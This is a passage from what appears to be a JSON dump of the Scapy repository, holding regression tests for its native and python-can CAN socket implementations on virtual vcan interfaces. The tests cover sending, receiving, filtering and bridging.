sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan1) == 6\n\nsock1.close()\nsock0.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n\n= Delete vcan interfaces\n~ needs_root linux vcan_socket\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan0\"]):\n        raise Exception(\"vcan0 could not be deleted\")\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan1\"]):\n        raise Exception(\"vcan1 could not be deleted\")\n"
  },
  {
    "path": "test/contrib/cansocket.uts",
    "content": "% Regression tests for compatibility between NativeCANSocket and PythonCANSocket\n~ not_pypy vcan_socket needs_root linux\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Configuration of CAN virtual sockets\n~ conf\n\n= Load module\nload_layer(\"can\", globals_dict=globals())\nfrom scapy.contrib.cansocket_python_can import PythonCANSocket\nfrom scapy.contrib.cansocket_native import NativeCANSocket\n\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\n\n= Setup string for vcan\nbashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n\n= Load os\nimport os\nimport threading\nfrom subprocess import call\n\n= Setup vcan0\n\nassert 0 == os.system(bashCommand)\n\n= Define common used functions\n\nsend_done = threading.Event()\n\ndef sender(sock, msg):\n    if not hasattr(msg, \"__iter__\"):\n        msg = [msg]\n    for m in msg:\n        sock.send(m)\n    send_done.set()\n\n+ Basic Socket Tests\n\n= NativeCANSocket send recv small packet\n\nsock1 = NativeCANSocket(bustype='socketcan', channel='vcan0')\nsock2 = NativeCANSocket(bustype='socketcan', channel='vcan0')\n\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nrx = sock1.recv()\nsock1.close()\nsock2.close()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= NativeCANSocket send recv small packet test with\n\nwith NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n        NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\n    rx = sock1.recv()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= PythonCANSocket send recv small packet\n\nsock1 = PythonCANSocket(bustype='socketcan', channel='vcan0')\nsock2 = PythonCANSocket(bustype='socketcan', channel='vcan0')\n\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nrx = sock1.recv()\nsock1.close()\nsock2.close()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= PythonCANSocket send recv small packet test with\n\nwith PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n        PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\n    rx = sock1.recv()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= NativeCANSocket send recv swapped\n\nconf.contribs['CAN']['swap-bytes'] = True\n\nwith NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n        NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    rx = sock1.sniff(count=1, timeout=1)\n    assert len(rx) == 1\n    assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\nconf.contribs['CAN']['swap-bytes'] = False\n\n= PythonCANSocket send recv swapped\n\nconf.contribs['CAN']['swap-bytes'] = True\n\nwith PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n        PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    rx = sock1.sniff(count=1, timeout=1)\n    assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\nconf.contribs['CAN']['swap-bytes'] = False\n\n= NativeCANSocket sniff with filtermask 0x7ff\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \\\n        NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=3)\n    assert len(packets) == 3\n\n= PythonCANSocket sniff with filtermask 0x7ff\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \\\n        PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=3)\n    assert len(packets) == 3\n\n= NativeCANSocket sniff with multiple filters\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x400, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x500, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x600, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x7ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \\\n        NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n= PythonCANSocket sniff with multiple filters\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x400, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x500, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x600, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x7ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \\\n        PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n+ bridge and sniff tests\n\n= Setup vcan1 interface\n\nbashCommand = \"/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'\"\nassert 0 == os.system(bashCommand)\n\n= NativeCANSocket bridge and sniff setup vcan1 package forwarding\n\nsock0 = NativeCANSocket(bustype='socketcan', channel='vcan0')\nsock1 = NativeCANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = NativeCANSocket(\n        bustype='socketcan', channel='vcan0',\n                                bitrate=250000)\n    bSock1 = NativeCANSocket(\n        bustype='socketcan', channel='vcan1',\n                                bitrate=250000)\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait()\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan1) == 6\n\nsock1.close()\nsock0.close()\n\nthreadBridge.join(timeout=3)\n\n= PythonCANSocket bridge and sniff setup vcan1 package forwarding\n\nsock0 = PythonCANSocket(bustype='socketcan', channel='vcan0')\nsock1 = PythonCANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = PythonCANSocket(\n        bustype='socketcan', channel='vcan0',\n                                bitrate=250000)\n    bSock1 = PythonCANSocket(\n        bustype='socketcan', channel='vcan1',\n                                bitrate=250000)\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait()\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan1) == 6\n\nsock1.close()\nsock0.close()\n\nthreadBridge.join(timeout=3)\n\n+ Cleanup\n\n= Delete vcan interfaces\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan0\"]):\n        raise Exception(\"vcan0 could not be deleted\")\n\nif 0 != call([\"sudo\", \"ip\" ,\"link\", \"delete\", \"vcan1\"]):\n        raise Exception(\"vcan1 could not be deleted\")\n"
  },
  {
    "path": "test/contrib/cansocket_native.uts",
    "content": "% Regression tests for nativecansocket\n~ not_pypy vcan_socket needs_root linux\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Configuration of CAN virtual sockets\n~ conf\n\n= Load module\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CANSocket'] = {'use-python-can': False}\nfrom scapy.contrib.cansocket_native import *\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\n\n\n= Setup string for vcan\nbashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n\n= Load os\nimport os\nimport threading\nfrom time import sleep\nfrom subprocess import call\n\n= Setup vcan0\nassert 0 == os.system(bashCommand)\n\n+ Basic Packet Tests()\n= CAN Packet init\ncanframe = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nassert bytes(canframe) == b'\\x00\\x00\\x07\\xff\\x08\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n\n+ Basic Socket Tests()\n= CAN Socket Init\nsock1 = CANSocket(channel=\"vcan0\")\n\n= CAN Socket send recv small packet without remove padding\n\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': False}\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nsock2.close()\n\nrx = sock1.recv()\nprint(repr(rx))\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01') / Padding(b\"\\x00\" * 7)\n\n\n= CAN Socket send recv small packet\n\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nsock2.close()\n\nrx = sock1.recv()\nprint(repr(rx))\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= CAN Socket send recv\n\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\nrx = sock1.recv()\nassert rx == CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\n= CAN Socket basecls test\n\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\nsock1.basecls = Raw\nrx = sock1.recv()\nassert rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')))\nsock1.basecls = CAN\n\n+ Advanced Socket Tests()\n= CAN Socket sr1\ntx = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\n= CAN Socket sr1 init time\nassert tx.sent_time == None\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(tx)\nsock2.close()\n\nrx = None\nrx = sock1.sr1(tx, verbose=False, timeout=3)\nassert rx == tx\n\nsock1.close()\n\n= CAN Socket sr1 time check\nassert abs(tx.sent_time - rx.time) < 0.1\nassert rx.time > 0\n\n= sr can\ntx = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\n= sr can check init time\nassert tx.sent_time == None\n\nsock1 = CANSocket(channel=\"vcan0\")\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(tx)\nsock2.close()\n\nrx = None\nrx = sock1.sr(tx, timeout=1, verbose=False)\nrx = rx[0][0][1]\nassert tx == rx\n\n\n= srcan check init time basecls\n\nsock1 = CANSocket(channel=\"vcan0\", basecls=Raw)\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(tx)\nsock2.close()\n\nrx = None\nrx = sock1.sr(tx, timeout=1, verbose=False)\nrx = rx[0][0][1]\nassert Raw(bytes(tx)) == rx\n\nsock1.close()\n\n= sr can check rx and tx\n\nassert tx.sent_time > 0 and rx.time > 0\n\n= sniff with filtermask 0x7ff\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=3)\nassert len(packets) == 3\nsock1.close()\n\n= sniff with filtermask 0x700\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x212, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x2ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x1ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x2aa, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packets) == 4\n\nsock1.close()\n\n= sniff with filtermask 0x0ff\n\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x0ff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x301, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x1ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packets) == 4\n\nsock1.close()\n\n= sniff with multiple filters\n\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff},  {'can_id': 0x7ff, 'can_mask': 0x7ff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x400, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x500, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x600, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x7ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packets) == 4\n\nsock1.close()\n\n= sniff with filtermask 0x7ff and inverse filter\n\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=2)\nassert len(packets) == 2\n\nsock1.close()\n\n= sniff with filtermask 0x1FFFFFFF\n\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=2)\nassert len(packets) == 2\n\nsock1.close()\n\n= sniff with filtermask 0x1FFFFFFF and inverse filter\n\n\nsock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}])\n\nsock2 = CANSocket(channel=\"vcan0\")\nsock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packets) == 4\n\nsock1.close()\n\n= CAN Socket sr1 with receive own messages\n\n\nsock1 = CANSocket(channel=\"vcan0\", receive_own_messages=True)\ntx = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nrx = None\nrx = sock1.sr1(tx, verbose=False, timeout=3)\nassert tx == rx\nassert tx.sent_time < rx.time and tx == rx and rx.time > 0\n\nsock1.close()\n\n= sr can\n\nsock1 = CANSocket(channel=\"vcan0\", receive_own_messages=True)\ntx = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nrx = None\nrx = sock1.sr(tx, timeout=0.1, verbose=False)\nassert tx == rx[0][0][1]\n\n+ bridge and sniff tests\n\n= bridge and sniff setup vcan1 package forwarding\n\n\nbashCommand = \"/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'\"\nassert 0 == os.system(bashCommand)\n\nsock0 = CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel='vcan1')\n    def pnr(pkt):\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6)\nassert len(packetsVCan1) == 6\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nsock1.close()\nsock0.close()\n\n= bridge and sniff setup vcan0 package forwarding\n\n\nsock0 = CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel='vcan1')\n    def pnr(pkt):\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packetsVCan0) == 4\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 vcan1 package forwarding both directions\n\n\nsock0 = 